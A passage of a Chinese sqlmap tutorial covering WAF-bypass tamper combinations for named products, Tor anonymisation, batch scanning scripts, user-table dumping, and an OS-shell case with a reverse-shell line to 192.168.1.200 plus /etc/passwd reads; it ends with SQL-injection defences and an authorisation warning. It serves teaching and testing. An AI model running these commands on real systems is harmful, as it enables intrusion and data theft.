sqlmap -u "http://192.168.1.100/form.php?id=1" \
    --data="name=test&csrf_token=xxx" \
    --csrf-token="csrf_token" \
    --csrf-url="http://192.168.1.100/form.php" \
    --batch
```


5.6 代理与认证
 

【示例】使用HTTP代理:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --proxy="http://127.0.0.1:8080" \
    --batch
```

【示例】代理认证:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --proxy="http://127.0.0.1:8080" \
    --proxy-cred="user:password" \
    --batch
```

【示例】使用Tor匿名网络:
```
# 需要先安装并启动Tor服务
service tor start

sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tor --tor-type=SOCKS5 \
    --check-tor \
    --batch
```

【示例】HTTP认证:
```
# Basic认证
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --auth-type=Basic \
    --auth-cred="admin:password" \
    --batch

# Digest认证
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --auth-type=Digest \
    --auth-cred="admin:password" \
    --batch

# NTLM认证
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --auth-type=NTLM \
    --auth-cred="domain\\user:password" \
    --batch
```


5.7 超时与重试
 

```
# 请求间隔2秒,超时60秒,重试5次,5线程并发
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --delay=2 \
    --timeout=60 \
    --retries=5 \
    --threads=5 \
    --batch
```

【注意】--threads 并发线程数不要超过10,过高的并发可能触发目标
服务器限流或WAF告警。对于时间盲注(--technique=T),建议 --threads=1
因为并发会影响延时判断的准确性。


六、WAF绕过实战



6.1 常见WAF检测与识别
 

【示例】使用SQLMap内置WAF识别:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --identify-waf --batch
```

输出示例:
```
[INFO] testing if the target URL is protected by some kind of WAF/IPS
[INFO] testing if the target is protected by some kind of WAF/IPS
[INFO] the target appears to be syntax protected by 'ModSecurity' (ModSecurity)
[WARNING] the target seems to be protected by ModSecurity WAF. \
Are you sure that you want to continue? [y/N]
```

【示例】使用wafw00f工具辅助识别:
```
# 安装wafw00f
pip install wafw00f

# 识别目标WAF
wafw00f http://192.168.1.100/

# 预期输出:
[*] The site http://192.168.1.100/ is behind ModSecurity/CRS WAF.
```

【提示】--identify-waf 和 --check-waf 参数会让SQLMap在开始注入前
先检测WAF类型。如果识别到WAF,SQLMap会建议使用特定tamper组合。


6.2 针对不同WAF的绕过策略表
 

| WAF/防护产品     | 特征分析                    | 推荐tamper组合                                    | 备注                     |
|-----------------|----------------------------|--------------------------------------------------|--------------------------|
| 安全狗           | 关键字检测、空格过滤        | space2comment,charencode,randomcase               | 组合使用效果佳            |
| 云锁            | 关键字检测、注释过滤        | space2randomblank,between,randomcase              | 需测试多种空白替换        |
| 宝塔WAF         | 严格关键字+正则匹配         | space2hash,charunicodeencode,apostrophemask       | 需双重编码               |
| 阿里云WAF        | 语义分析+规则匹配          | charunicodeencode,base64encode,between            | 语义分析需更复杂变形       |
| Cloudflare      | 机器学习+规则匹配           | randomcase,charencode,between,equaltolike         | 组合多变体              |
| ModSecurity     | OWASP CRS规则集             | modsecurityversioned,space2comment,randomcase      | 版本注释有效            |
| 长亭雷池         | 语义分析引擎               | 自定义tamper+多重编码组合                           | 语义引擎需深度变形        |
| F5 BIG-IP ASM   | 正则+签名匹配               | chardoubleencode,space2comment,between             | 双重编码绕过             |
| Imperva Incapsula| JS Challenge+规则          | randomcase,charencode,space2comment                | 需处理JS挑战             |
| 360磐盾         | 关键字+频率限制            | space2comment,charencode,randomcase --delay=2     | 注意请求频率             |

【示例】针对安全狗WAF的绕过:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=space2comment,charencode,randomcase \
    --random-agent \
    --delay=1 \
    --level=3 --risk=2 \
    --dbms=mysql \
    --batch
```

【示例】针对阿里云WAF的绕过:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=charunicodeencode,between,base64encode \
    --random-agent \
    --delay=2 \
    --timeout=60 \
    --retries=5 \
    --level=4 --risk=2 \
    --dbms=mysql \
    --batch
```

【示例】针对Cloudflare的绕过:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=randomcase,charencode,between,equaltolike \
    --random-agent \
    --delay=1 \
    --level=5 --risk=2 \
    --dbms=mysql \
    --batch
```

【提示】WAF绕过是一个持续对抗的过程。WAF厂商会不断更新规则,
tamper组合需要根据实际情况调整。建议先用 --identify-waf 识别WAF类型,
再选择对应的tamper策略。如果内置tamper无效,则需要开发自定义tamper。


6.3 延时注入绕过
 

时间盲注场景下,需要调整延时参数以区分真实延时和网络延迟:

```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --technique=T \
    --time-sec=5 \
    --delay=1 \
    --timeout=30 \
    --tamper=space2comment,randomcase \
    --batch
```

参数说明:
| 参数        | 说明                              | 推荐值    |
|------------|----------------------------------|-----------|
| --time-sec | 延时注入的等待秒数                  | 5-10      |
| --delay    | 每次请求间隔秒数                   | 1-2       |
| --timeout  | 单次请求超时秒数                   | 30-60     |
| --retries  | 失败重试次数                       | 3-5       |

【注意】--time-sec 设得太小可能导致误判(网络延迟被误认为延时注入
成功),设得太大会增加检测时间。建议WAF环境下设为5-10秒。


6.4 分块传输绕过
 

分块传输编码(Chunked Transfer Encoding)可以绕过部分基于请求体
完整匹配的WAF规则:

```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --chunked \
    --tamper=space2comment,randomcase \
    --batch
```

【提示】--chunked 参数将HTTP请求使用Transfer-Encoding: chunked方式
发送,将payload分块传输。部分WAF只检查完整请求体,无法正确处理
分块数据,从而被绕过。


6.5 随机化参数绕过
 

```
# 随机化指定参数的值
sqlmap -u "http://192.168.1.100/news.php?id=1&token=abc" \
    --randomize="token" \
    --batch

# 参数化测试(自动添加无关参数干扰WAF)
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --eval="import hashlib; token=hashlib.md5(str(id).encode()).hexdigest()" \
    --batch
```

--randomize 参数会在每次请求时随机化指定参数的值,可以绕过基于
参数值频率统计的WAF规则。


6.6 大小写混淆与编码绕过
 

tamper组合策略(按场景分类):

| 场景                    | 推荐tamper组合                                        |
|------------------------|------------------------------------------------------|
| 简单关键字过滤           | randomcase                                            |
| 空格过滤                | space2comment 或 space2randomblank                    |
| 引号过滤                | apostrophemask 或 charunicodeencode                  |
| 关键字完全过滤          | charencode + between + randomcase                     |
| 严格WAF(多层检测)      | charunicodeencode + between + randomcase + space2hash |
| 极端WAF(深度检测)      | chardoubleencode + 自定义tamper                       |

【示例】极端WAF绕过组合:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=chardoubleencode,between,randomcase,space2hash,apostrophemask \
    --random-agent \
    --delay=2 \
    --level=5 --risk=2 \
    --dbms=mysql \
    --batch \
    --threads=1
```


七、自动化与批量扫描
 


7.1 批量URL扫描
 

【示例】从文件批量扫描:
```
# urls.txt 格式(每行一个URL)
http://192.168.1.100/page.php?id=1
http://192.168.1.101/article.php?id=5
http://192.168.1.102/news.php?id=3
http://192.168.1.103/view.php?id=7

# 执行批量扫描
sqlmap -m urls.txt \
    --batch \
    --smart \
    --threads=3 \
    --output-dir=/tmp/sqlmap_results
```

参数说明:
- -m:从文件读取URL列表
- --smart:快速智能模式,仅对疑似注入点进行深度测试
- --threads:并发数(批量扫描建议3-5)
- --output-dir:结果输出目录

【示例】爬虫模式自动发现并测试注入点:
```
# 从目标站点爬取所有链接,深度3,自动测试
sqlmap -u "http://192.168.1.100/" \
    --crawl=3 \
    --batch \
    --smart \
    --threads=3 \
    --output-dir=/tmp/sqlmap_results

# 爬取+表单检测+WAF绕过
sqlmap -u "http://192.168.1.100/" \
    --crawl=3 \
    --forms \
    --tamper=space2comment,randomcase \
    --random-agent \
    --batch \
    --threads=3
```


7.2 与Burp Suite联动
 

方法一:从Burp Suite导出请求文件

在Burp Suite的Proxy -> HTTP History中:
1. 右键点击目标请求
2. 选择 "Copy to file"
3. 保存为 request.txt

使用SQLMap加载:
```
sqlmap -r request.txt -p id --batch --level=3
```

方法二:使用Burp Suite代理联动

在Burp Suite中设置代理监听 127.0.0.1:8080,然后:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --proxy="http://127.0.0.1:8080" \
    --batch
```

这样所有SQLMap的请求都会经过Burp Suite,可以在Burp中查看完整的
请求和响应,方便调试tamper效果。

方法三:从Burp Suite日志文件加载目标

在Burp Suite中:
1. Target -> Site map
2. 右键 -> "Save items" -> 保存为XML文件

使用SQLMap加载:
```
sqlmap -l burp_targets.xml --batch --smart --threads=3
```

【提示】Burp Suite + SQLMap联动是渗透测试的标准工作流。Burp负责
目标发现和流量代理,SQLMap负责深度注入检测和利用。


7.3 自动化脚本编写
 

【示例1】Bash批量调用SQLMap脚本:

```bash
#!/bin/bash
# batch_sqlmap.sh - 批量SQL注入检测脚本

# 配置
TARGETS_FILE="urls.txt"
OUTPUT_DIR="/tmp/sqlmap_results"
LOG_FILE="/tmp/sqlmap_results/scan_log.txt"
SQLMAP_PATH="/usr/bin/sqlmap"
THREADS=3
LEVEL=3
RISK=1
TAMPER="space2comment,randomcase"

# 创建输出目录
mkdir -p "$OUTPUT_DIR"

# 检查目标文件
if [ ! -f "$TARGETS_FILE" ]; then
    echo "[ERROR] Target file not found: $TARGETS_FILE"
    exit 1
fi

# 统计目标数量
TOTAL=$(wc -l < "$TARGETS_FILE")
echo "[INFO] Starting SQLMap batch scan for $TOTAL targets..."
echo "[INFO] Start time: $(date)"
echo "========================================" | tee -a "$LOG_FILE"

# 遍历每个URL
COUNT=0
VULNERABLE=0

while IFS= read -r url; do
    # 跳过空行和注释
    [ -z "$url" ] && continue
    [[ "$url" == \#* ]] && continue

    COUNT=$((COUNT + 1))
    echo "[INFO] ($COUNT/$TOTAL) Scanning: $url" | tee -a "$LOG_FILE"

    # 执行SQLMap检测
    RESULT=$($SQLMAP_PATH -u "$url" \
        --batch \
        --level=$LEVEL \
        --risk=$RISK \
        --tamper=$TAMPER \
        --random-agent \
        --threads=$THREADS \
        --output-dir="$OUTPUT_DIR" \
        2>&1)

    # 检查是否发现注入点
    if echo "$RESULT" | grep -q "is vulnerable"; then
        echo "[VULN] Injection found: $url" | tee -a "$LOG_FILE"
        VULNERABLE=$((VULNERABLE + 1))

        # 自动导出数据库信息
        $SQLMAP_PATH -u "$url" \
            --batch \
            --dbs \
            --tamper=$TAMPER \
            --output-dir="$OUTPUT_DIR" \
            2>&1 | tee -a "$LOG_FILE"
    else
        echo "[SAFE] No injection: $url" | tee -a "$LOG_FILE"
    fi

    echo "----------------------------------------" | tee -a "$LOG_FILE"

done < "$TARGETS_FILE"

# 汇总报告
echo "========================================" | tee -a "$LOG_FILE"
echo "[INFO] Scan completed at: $(date)" | tee -a "$LOG_FILE"
echo "[INFO] Total targets: $TOTAL" | tee -a "$LOG_FILE"
echo "[INFO] Vulnerable: $VULNERABLE" | tee -a "$LOG_FILE"
echo "[INFO] Safe: $((TOTAL - VULNERABLE))" | tee -a "$LOG_FILE"
echo "[INFO] Results saved to: $OUTPUT_DIR" | tee -a "$LOG_FILE"
```

使用方法:
```
chmod +x batch_sqlmap.sh
./batch_sqlmap.sh
```

【示例2】Python调用SQLMap API:

```python
#!/usr/bin/env python3
"""
sqlmap_api_client.py - SQLMap REST API 自动化客户端
通过SQLMap API模式实现多任务并行注入检测
"""

import requests
import time
import json
import sys
from urllib.parse import urlparse


class SQLMapAPIClient:
    """SQLMap REST API 客户端"""

    def __init__(self, host='127.0.0.1', port=8775):
        self.api_url = f'http://{host}:{port}'
        self.session = requests.Session()

    def get_token(self):
        """获取API Token(新任务)"""
        resp = self.session.get(f'{self.api_url}/task/new')
        data = resp.json()
        if data.get('success'):
            return data.get('taskid')
        else:
            raise Exception(f'Failed to create task: {data}')

    def set_options(self, task_id, options):
        """设置任务参数"""
        resp = self.session.post(
            f'{self.api_url}/option/{task_id}/set',
            json=options
        )
        return resp.json().get('success', False)

    def start_scan(self, task_id):
        """启动扫描任务"""
        resp = self.session.post(f'{self.api_url}/scan/{task_id}/start')
        data = resp.json()
        return data.get('success', False)

    def get_status(self, task_id):
        """获取扫描状态"""
        resp = self.session.get(f'{self.api_url}/scan/{task_id}/status')
        return resp.json()

    def get_data(self, task_id):
        """获取扫描结果"""
        resp = self.session.get(f'{self.api_url}/scan/{task_id}/data')
        return resp.json()

    def get_log(self, task_id):
        """获取扫描日志"""
        resp = self.session.get(f'{self.api_url}/scan/{task_id}/log')
        return resp.json()

    def kill_task(self, task_id):
        """终止任务"""
        resp = self.session.get(f'{self.api_url}/scan/{task_id}/kill')
        return resp.json()

    def delete_task(self, task_id):
        """删除任务"""
        resp = self.session.get(f'{self.api_url}/task/{task_id}/delete')
        return resp.json()

    def scan_url(self, url, options=None):
        """完整扫描流程:创建任务->设置参数->启动->等待->获取结果"""
        # 创建新任务
        task_id = self.get_token()
        print(f'[INFO] Task created: {task_id}')

        # 设置默认参数
        default_options = {
            'url': url,
            'level': 3,
            'risk': 1,
            'batch': True,
            'randomAgent': True,
            'tamper': 'space2comment,randomcase',
            'getDbs': True,
        }

        # 合并自定义参数
        if options:
            default_options.update(options)

        # 设置参数
        self.set_options(task_id, default_options)

        # 启动扫描
        self.start_scan(task_id)
        print(f'[INFO] Scan started for: {url}')

        # 轮询等待完成
        while True:
            status = self.get_status(task_id)
            scan_status = status.get('status')
            if scan_status == 'terminated':
                print(f'[INFO] Scan completed for: {url}')
                break
            elif scan_status == 'running':
                time.sleep(5)
                continue
            else:
                print(f'[WARNING] Unknown status: {scan_status}')
                time.sleep(5)

        # 获取结果
        data = self.get_data(task_id)
        result = data.get('data', [])

        if result:
            print(f'[VULN] Injection found in: {url}')
            for item in result:
                print(f'  - {item}')
        else:
            print(f'[SAFE] No injection found: {url}')

        # 清理任务
        self.delete_task(task_id)

        return result


def batch_scan(urls, api_host='127.0.0.1', api_port=8775):
    """批量扫描多个URL"""
    client = SQLMapAPIClient(api_host, api_port)
    results = {}

    for url in urls:
        print(f'\n{"="*60}')
        print(f'Scanning: {url}')
        print(f'{"="*60}')
        result = client.scan_url(url)
        results[url] = result

    # 输出汇总报告
    print(f'\n{"="*60}')
    print('SCAN SUMMARY')
    print(f'{"="*60}')
    for url, result in results.items():
        status = 'VULNERABLE' if result else 'SAFE'
        print(f'{status}: {url}')

    return results


if __name__ == '__main__':
    # 目标URL列表
    target_urls = [
        'http://192.168.1.100/news.php?id=1',
        'http://192.168.1.101/article.php?id=5',
        'http://192.168.1.102/page.php?id=3',
    ]

    # 执行批量扫描
    batch_scan(target_urls)
```


7.4 SQLMap API模式使用
 

启动SQLMap API服务端:
```
# 方式一:监听所有接口(API模式)
sqlmap-api -s -H 0.0.0.0 -p 8775

# 方式二:仅本地监听
sqlmapapi.py -s -H 127.0.0.1 -p 8775

# 预期输出:
[INFO] Running REST-JSON API server at 127.0.0.1:8775..
[INFO] Admin ID: 7a3b8c2f1d4e5f6a
[INFO] Running debug environment...
```

API调用流程详解:

```
# 1. 创建新任务,获取taskid
curl -s http://127.0.0.1:8775/task/new | python3 -m json.tool
# 返回: {"taskid": "abc123", "success": true}

# 2. 设置任务参数
curl -s -X POST http://127.0.0.1:8775/option/abc123/set \
    -H "Content-Type: application/json" \
    -d '{"url":"http://192.168.1.100/news.php?id=1","level":3,"batch":true}' \
    | python3 -m json.tool
# 返回: {"success": true}

# 3. 启动扫描
curl -s -X POST http://127.0.0.1:8775/scan/abc123/start \
    -H "Content-Type: application/json" \
    -d '{"url":"http://192.168.1.100/news.php?id=1"}' \
    | python3 -m json.tool
# 返回: {"success": true, "engineid": 12345}

# 4. 查询扫描状态
curl -s http://127.0.0.1:8775/scan/abc123/status | python3 -m json.tool
# 返回: {"status": "running"} 或 {"status": "terminated"}

# 5. 获取扫描结果
curl -s http://127.0.0.1:8775/scan/abc123/data | python3 -m json.tool
# 返回: {"data": [...]}

# 6. 获取扫描日志
curl -s http://127.0.0.1:8775/scan/abc123/log | python3 -m json.tool

# 7. 删除任务
curl -s http://127.0.0.1:8775/task/abc123/delete | python3 -m json.tool
```

【提示】SQLMap API模式支持多任务并行,适合大规模自动化扫描场景。
API服务端可以同时处理多个扫描任务,通过taskid区分不同任务。


7.5 结果管理与报告
 

```
# 指定输出目录
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --output-dir=/tmp/sqlmap_output \
    --batch

# 结果文件结构
# /tmp/sqlmap_output/
#   192.168.1.100/
#     log           - 扫描日志
#     session.sqlite - 会话数据库
#     dump/
#       webapp_db/
#         users.csv   - 导出的CSV数据
#     files/          - 读取的文件
```

【提示】SQLMap默认将结果保存在用户目录下的 ~/.local/share/sqlmap/output/
中。使用 --output-dir 可以自定义输出路径。--flush-session 参数可以
清除之前的会话缓存,强制重新检测。

会话管理:
```
# 清除当前URL的会话(重新检测)
sqlmap -u "http://192.168.1.100/news.php?id=1" --flush-session --batch

# 恢复之前的会话(继续操作)
sqlmap -u "http://192.168.1.100/news.php?id=1" --batch
# SQLMap会自动加载之前的会话,无需重新检测
```


八、实战案例
 

----------------------------------------
案例一:GET参数注入全流程
----------------------------------------

场景:目标网站 http://192.168.1.100/news.php?id=1 存在GET参数注入

完整命令序列:
```
# 步骤1:检测注入点
sqlmap -u "http://192.168.1.100/news.php?id=1" --batch --level=3

# 步骤2:获取数据库指纹
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --banner --current-user --current-db --is-dba --batch

# 步骤3:枚举所有数据库
sqlmap -u "http://192.168.1.100/news.php?id=1" --dbs --batch

# 步骤4:枚举目标数据库的表
sqlmap -u "http://192.168.1.100/news.php?id=1" --tables -D webapp_db --batch

# 步骤5:枚举users表的列
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --columns -D webapp_db -T users --batch

# 步骤6:导出users表数据
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --dump -D webapp_db -T users \
    --batch --threads=5

# 步骤7:一键完成检测+枚举+导出
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --batch --level=3 \
    --banner --current-db --dbs \
    --dump -D webapp_db -T users \
    --threads=5 \
    --output-dir=/tmp/sqlmap_case1
```

----------------------------------------
案例二:POST表单注入
----------------------------------------

场景:登录页面 http://192.168.1.100/login.php 使用POST提交

方法一:使用--data参数
```
# 检测POST注入
sqlmap -u "http://192.168.1.100/login.php" \
    --data="username=admin&password=123456" \
    -p username \
    --batch --level=3

# 获取数据库信息
sqlmap -u "http://192.168.1.100/login.php" \
    --data="username=admin&password=123456" \
    -p username \
    --dbs --batch
```

方法二:使用-r请求文件
```
# request.txt内容:
POST /login.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=abc123def456
Content-Length: 31

username=admin&password=123456

# 执行检测(在username参数后加*标记注入点)
sqlmap -r request.txt -p username --batch --level=3

# 枚举数据
sqlmap -r request.txt -p username --dbs --batch

# 导出数据
sqlmap -r request.txt -p username \
    --dump -D webapp_db -T users --batch --threads=5
```

----------------------------------------
案例三:带WAF防护的注入绕过
----------------------------------------

场景:目标 http://192.168.1.100/news.php?id=1 部署了安全狗WAF

检测WAF:
```
sqlmap -u "http://192.168.1.100/news.php?id=1" --identify-waf --batch
```

绕过WAF进行检测:
```
# 第一轮:基础tamper组合
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=space2comment,charencode,randomcase \
    --random-agent \
    --delay=1 \
    --level=3 --risk=2 \
    --dbms=mysql \
    --batch

# 第二轮:如果第一轮失败,加强编码
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=space2comment,charunicodeencode,randomcase,between,apostrophemask \
    --random-agent \
    --delay=2 \
    --level=4 --risk=2 \
    --dbms=mysql \
    --batch

# 第三轮:如果前两轮失败,使用自定义tamper
# 先将自定义tamper放入 sqlmap/tamper/ 目录
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --tamper=custom_waf_bypass \
    --random-agent \
    --delay=2 \
    --level=5 --risk=3 \
    --dbms=mysql \
    --batch \
    --flush-session
```

【注意】WAF绕过是一个迭代过程,需要多轮尝试。如果所有内置tamper
都失败,需要分析WAF规则特征,针对性开发自定义tamper脚本。

----------------------------------------
案例四:--os-shell获取系统Shell
----------------------------------------

场景:已确认注入点且当前用户为DBA,尝试获取OS Shell

前置条件检查:
```
# 检查是否为DBA
sqlmap -u "http://192.168.1.100/news.php?id=1" --is-dba --batch

# 检查 --os-shell 可用性
sqlmap -u "http://192.168.1.100/news.php?id=1" --os-shell --batch
```

操作步骤:
```
# 步骤1:确认DBA权限(输出 is DBA: True)
sqlmap -u "http://192.168.1.100/news.php?id=1" --is-dba --batch

# 步骤2:获取OS Shell
sqlmap -u "http://192.168.1.100/news.php?id=1" --os-shell --batch

# 步骤3:在OS Shell中执行命令
os-shell> whoami
os-shell> id
os-shell> cat /etc/passwd
os-shell> ls -la /var/www/html/
os-shell> find / -name "config*" -type f 2>/dev/null

# 步骤4:如果需要反弹Shell
os-shell> bash -i >& /dev/tcp/192.168.1.200/4444 0>&1

# 或使用 --os-pwn 直接反弹
sqlmap -u "http://192.168.1.100/news.php?id=1" \
    --os-pwn --batch
```

【警告】--os-shell 成功需要满足以下条件:
1. 当前数据库用户为DBA
2. 数据库支持文件读写(MySQL的FILE权限)
3. 知道Web根路径或数据库插件目录
4. 目标未禁用相关功能(如MySQL的secure_file_priv)

----------------------------------------
案例五:二阶注入场景检测
----------------------------------------

场景:用户注册时用户名被存入数据库,在后台管理页面查看用户列表时
触发二阶注入

```
# 第一步:检测二阶注入
# -r 参数指定第一阶段请求(注册页面提交payload)
# --second-order 指定第二阶段URL(触发注入的页面)

sqlmap -r register_request.txt \
    --second-order="http://192.168.1.100/admin/users.php" \
    --batch --level=4

# register_request.txt 内容:
POST /register.php HTTP/1.1
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded

username=admin'&email=test@test.com&submit=Register

# 第二步:如果检测到二阶注入,枚举数据
sqlmap -r register_request.txt \
    --second-order="http://192.168.1.100/admin/users.php" \
    --dbs --batch --level=4

# 第三步:导出数据
sqlmap -r register_request.txt \
    --second-order="http://192.168.1.100/admin/users.php" \
    --dump -D webapp_db -T users \
    --batch --level=4
```

【提示】二阶注入检测难度较高,需要提高 --level 级别(建议4-5)。
--second-order 指定的URL应该是实际触发SQL查询执行的页面。


九、防御建议
 


9.1 参数化查询(最有效防御)
 

参数化查询是防御SQL注入的根本方法。使用参数化查询后,用户输入
不会作为SQL代码执行,从根本上消除注入风险。

PHP PDO 示例:
```php
<?php
// 错误写法(存在SQL注入)
$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id = $id";
$result = mysqli_query($conn, $sql);

// 正确写法(参数化查询,安全)
$id = $_GET['id'];
$sql = "SELECT * FROM news WHERE id = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$id]);
$result = $stmt->fetchAll();
?>
```

Java PreparedStatement 示例:
```java
// 安全写法
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
```

Python 示例:
```python
import pymysql

# 安全写法
conn = pymysql.connect(host='localhost', user='root', password='pass', db='webapp')
cursor = conn.cursor()
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(sql, (username, password))
```


9.2 ORM框架使用
 

使用ORM框架可以自动处理参数化查询,避免手写SQL导致的注入风险。

| 语言       | 推荐ORM框架                  |
|-----------|------------------------------|
| Python    | SQLAlchemy, Django ORM       |
| Java      | Hibernate, MyBatis           |
| PHP       | Eloquent, Doctrine           |
| Node.js   | Sequelize, TypeORM           |
| Go        | GORM                         |

【注意】ORM框架并非万能。如果使用原生SQL查询接口(如raw()方法),
仍然需要注意参数化处理。


9.3 WAF规则配置
 

建议部署WAF作为纵深防御的一环(但不能作为唯一防御手段):

1. 部署ModSecurity + OWASP CRS规则集
2. 配置SQL注入特征规则,拦截常见注入payload
3. 设置请求频率限制,防止自动化扫描
4. 启用WAF日志审计,记录拦截事件
5. 定期更新WAF规则库


9.4 输入校验
 

在应用层进行输入校验作为补充防御:

```
1. 白名单验证:只允许预期字符(如ID只允许数字)
2. 长度限制:限制输入长度
3. 类型检查:确保输入为预期数据类型
4. 特殊字符过滤:过滤SQL关键字和特殊字符(作为补充手段)
5. 输出编码:对输出到页面的数据进行HTML编码
```

【提示】输入校验和过滤只是辅助手段,核心防御仍然是参数化查询。
不要依赖黑名单过滤来防御SQL注入,攻击者总能找到绕过方法。


十、SQLMap常用命令速查表
 

----------------------------------------
目标指定
----------------------------------------
| 命令                              | 说明                          |
|----------------------------------|------------------------------|
| -u "URL"                         | 指定目标URL                    |
| -m urls.txt                      | 从文件批量读取URL               |
| -r request.txt                   | 从文件加载HTTP请求              |
| -g "inurl:php?id="               | Google dork搜索               |
| --data="key=val"                 | 指定POST数据                   |
| -l burp_log.xml                  | 从Burp日志加载目标              |
| --crawl=3                        | 爬虫模式,深度3                 |
| --forms                          | 自动解析页面表单                |

----------------------------------------
检测设置
----------------------------------------
| 命令                              | 说明                          |
|----------------------------------|------------------------------|
| --level=3                         | 检测级别1-5                    |
| --risk=2                          | 风险级别1-3                    |
| --dbms=mysql                      | 指定数据库类型                  |
| --technique=BEUSTQ               | 指定注入技术                    |
| --tamper=script1,script2         | 指定tamper脚本                 |
| --prefix=")"                      | 注入payload前缀                |
| --suffix="-- -"                   | 注入payload后缀                |
| --skip="param"                    | 跳过指定参数检测                |
| --skip-static                     | 跳过静态参数                   |

----------------------------------------
数据提取
----------------------------------------
| 命令                              | 说明                          |
|----------------------------------|------------------------------|
| --banner                          | 获取数据库Banner               |
| --current-user                    | 当前用户                      |
| --current-db                      | 当前数据库                     |
| --is-dba                          | 检测DBA权限                   |
| --hostname                        | 数据库主机名                   |
| --dbs                             | 枚举所有数据库                 |
| --tables -D dbname                | 枚举指定库的表                 |
| --columns -D db -T table          | 枚举指定表的列                 |
| --schema                          | 枚举所有表结构                 |
| --count -D db -T table            | 统计表数据条数                 |
| --dump -D db -T table             | 导出表数据                     |
| --dump-all --exclude-sysdbs       | 导出所有非系统库数据            |
| --search -C "column"              | 搜索列名                      |
| --sql-shell                       | 交互式SQL Shell               |
| --sql-query="SQL"                 | 执行单条SQL                   |

----------------------------------------
文件系统与OS
----------------------------------------
| 命令                              | 说明                          |
|----------------------------------|------------------------------|
| --file-read="/etc/passwd"         | 读取服务器文件                 |
| --file-write="local" --file-dest="remote" | 上传文件到服务器        |
| --os-shell                        | 获取OS Shell                   |
| --os-cmd="command"                | 执行单条OS命令                 |
| --os-pwn                          | 反弹Shell                      |

----------------------------------------
请求定制
----------------------------------------
| 命令                              | 说明                          |
|----------------------------------|------------------------------|
| --cookie="..."                    | 设置Cookie                    |
| --user-agent="..."                | 设置UA                        |
| --random-agent                    | 随机UA                        |
| --referer="..."                   | 设置Referer                   |
| --headers="Key: Val"              | 自定义HTTP头                  |
| --method=POST                     | HTTP方法                      |
| --delay=2                         | 请求间隔(秒)                  |
| --timeout=30                      | 超时(秒)                      |
| --retries=3                       | 重试次数                      |
| --threads=5                       | 并发线程数                     |
| --proxy="http://127.0.0.1:8080"   | HTTP代理                      |
| --proxy-cred="user:pass"          | 代理认证                      |
| --auth-type=Basic                 | HTTP认证类型                   |
| --auth-cred="user:pass"           | HTTP认证凭据                  |
| --tor                             | 使用Tor                       |
| --csrf-token="name"               | CSRF Token参数名               |

----------------------------------------
高级选项
----------------------------------------
| 命令                              | 说明                          |
|----------------------------------|------------------------------|
| --second-order="URL"             | 二阶注入检测URL                |
| --chunked                         | 分块传输编码                   |
| --randomize="param"               | 随机化参数值                   |
| --identify-waf                    | WAF识别                       |
| --mobile                           | 模拟移动端UA                   |
| --smart                           | 智能快速模式                   |
| --flush-session                   | 清除会话                      |
| --output-dir="path"               | 输出目录                      |
| --results-file="path"             | 结果文件                      |
| --batch                           | 非交互模式                     |
| --wizard                          | 向导模式                      |
| --cleanup                         | 清理DBMS残留                   |
| --dependencies                    | 检查依赖                      |
| --list-tampers                    | 列出所有tamper                 |
| --update                          | 更新SQLMap                    |


十一、总结
 

SQLMap作为SQL注入自动化检测与利用的事实标准工具,其功能之强大、
覆盖面之广在同类工具中无出其右。本文从安装配置、核心参数、数据提取、
高级技巧、WAF绕过、自动化扫描到实战案例,全面覆盖了SQLMap的使用
方法。

核心要点总结:

1. 检测策略:先 --identify-waf 识别WAF,再选择 --level 和 --risk,
   明确 --dbms 和 --technique 可以提高效率。

2. Tamper是灵魂:WAF绕过的核心在于tamper脚本的灵活组合。内置tamper
   无法满足时,需要掌握自定义tamper开发能力。

3. 自动化能力:SQLMap API模式支持多任务并行,结合Python脚本可以
   实现大规模自动化扫描。

4. 安全使用:所有操作必须在授权环境下进行,--os-shell 等高危操作
   需格外谨慎。

5. 防御根本:参数化查询是防御SQL注入的唯一根本方案,WAF和输入
   校验只是补充防御手段。

【合规提醒】本文所有技术内容仅用于安全研究和授权测试。在实际使用
SQLMap前,请确保已获得目标系统的书面授权测试许可。未经授权的扫描
和渗透测试行为可能违反《中华人民共和国网络安全法》第二十七条等相关
法律法规,最高可处五年以上有期徒刑。请务必合法合规使用本工具。

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐